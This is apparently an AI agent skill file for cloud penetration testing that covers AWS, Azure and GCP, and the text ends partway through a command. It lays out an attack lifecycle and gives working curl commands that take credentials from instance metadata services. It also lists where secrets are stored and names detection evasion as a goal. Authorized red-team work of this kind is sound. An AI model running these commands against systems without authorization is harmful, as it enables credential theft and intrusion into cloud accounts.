/cloud-lateral

name: cloud-lateral
description: |
  Activate this skill whenever the user mentions cloud lateral movement, cloud privilege escalation,
  cloud post-exploitation, cloud red team, multi-cloud attack, cloud pentesting,
  AWS, Amazon Web Services, EC2, S3, Lambda, IAM, STS, SSM, Systems Manager,
  CloudTrail, GuardDuty, CloudShell, Secrets Manager, Parameter Store, RDS,
  ECS, EKS, Fargate, ECR, CodeBuild, CodePipeline, Glue, SageMaker,
  instance profile, instance metadata, EC2 role, cross-account, assume role,
  Azure, Entra ID, Azure AD, managed identity, service principal, Azure Functions,
  Key Vault, Azure Storage, Cosmos DB, Azure Sentinel, Azure DevOps, AKS, ACR,
  Azure Automation, Logic Apps, Azure Resource Manager, ARM,
  GCP, Google Cloud, GKE, Cloud Functions, Cloud Run, Cloud Build,
  service account, Workload Identity, Secret Manager, Cloud SQL, BigQuery, Pub/Sub,
  IMDS, metadata service, 169.254.169.254, metadata.google.internal,
  cloud enumeration, cloud credential theft, cloud persistence,
  container escape, Kubernetes escape, pod-to-node, container breakout,
  serverless exploitation, Lambda injection, function event injection,
  S3 bucket enumeration, blob storage, GCS bucket, storage exfiltration,
  cloud persistence, backdoor IAM, cross-account trust, cloud backdoor,
  pacu, ScoutSuite, prowler, enumerate-iam, cloudfox, Stratus Red Team,
  SSRF to cloud, cloud SSRF, metadata SSRF, credential harvesting cloud,
  CloudTrail evasion, GuardDuty bypass, cloud stealth, cloud OPSEC,
  terraform state, cloud credentials file, .aws/credentials, gcloud auth,
  cloud-init, user-data secrets, startup script credentials.
version: 2.0.0

Cloud Lateral Movement

Cloud environments expose a fundamentally different attack surface from traditional networks. Identity IS the network -- IAM policies, service accounts, and managed identities replace firewalls and VLANs. A single misconfigured permission can grant access to every resource in an organization. This skill covers the full cloud attack lifecycle across AWS, Azure, and GCP for authorized penetration testing.

Attack Lifecycle

Follow this sequence. Each phase feeds the next -- credential harvesting enables escalation, escalation enables lateral movement, lateral movement discovers new targets.

Initial Access --> Credential Harvesting --> Permission Enumeration --> Privilege Escalation
     |                                                                        |
     v                                                                        v
Data Exfiltration <-- Persistence <-- Lateral Movement <-- Service Abuse

Phase 1 -- Initial Access and Cloud Fingerprinting

Before attacking, determine the cloud provider, account structure, and available attack surface.

**Cloud provider indicators**:

• **AWS**: `amazonaws.com` domains, `X-Amz-*` headers, `arn:aws:` patterns, `.aws/credentials`, `169.254.169.254` IMDS
• **Azure**: `azure.com`/`windows.net`/`core.windows.net` domains, `X-Ms-*` headers, Entra ID endpoints, `169.254.169.254` with `Metadata: true`
• **GCP**: `googleapis.com` domains, `metadata.google.internal`, service account JSON files, `X-Goog-*` headers

Log detected cloud info immediately:

node "${CLAUDE_PLUGIN_ROOT}/scripts/target-intel.js" add "<target>" "tech-stack" "cloud-provider" "<aws|azure|gcp>" --source scan
node "${CLAUDE_PLUGIN_ROOT}/scripts/target-intel.js" add "<target>" "tech-stack" "cloud-account-id" "<account/subscription/project>" --source scan

Common initial access vectors: 1. SSRF to metadata service (most common cloud-specific vector) 2. Exposed credentials in repos, environment variables, CI/CD pipelines 3. Misconfigured storage buckets (public S3/Blob/GCS) 4. Compromised web application running on cloud compute 5. Leaked AWS keys in GitHub, terraform state, Docker images 6. Cloud-init / user-data containing plaintext secrets

Phase 2 -- Credential Harvesting

The metadata service is the primary credential source from a compromised cloud instance.

**See**: `references/imds-exploitation.md` for full IMDS attack techniques, SSRF payloads, IMDSv2 bypass, and container credential endpoints.

Quick credential checks:

# AWS -- IMDSv1
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

# AWS -- IMDSv2
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure -- Managed Identity token
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# GCP -- Service account token
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

SSRF to IMDS is a critical finding -- log immediately:

node "${CLAUDE_PLUGIN_ROOT}/scripts/findings-tracker.js" add "<endpoint>" "ssrf" "<param>" "CRITICAL" "SSRF to cloud metadata service -- credential theft confirmed"
node "${CLAUDE_PLUGIN_ROOT}/scripts/techniques-tracker.js" add "curl" "<target>" "imds-credential-harvest" "success" --notes "Extracted <aws|azure|gcp> credentials via IMDS"

Other credential sources:

• Environment variables (`AWS_ACCESS_KEY_ID`, `AZURE_CLIENT_SECRET`, `GOOGLE_APPLICATION_CREDENTIALS`)
• Config files (`.aws/credentials`, `~/.azure/`, `~/.config/gcloud/`)
• Terraform state files (`terraform.tfstate` -- contains plaintext secrets)
• CI/CD pipelines (GitHub Actions secrets, GitLab CI variables)
• Container orchestrator secrets (Kubernetes secrets, ECS task definitions)
• Cloud-init / user-data scripts

Phase 3 -- Permission Enumeration

With credentials in hand, map what you can do before attempting escalation.

**Automated enumeration tools**:

# AWS -- enumerate-iam (brute-force permission discovery)
python3 enumerate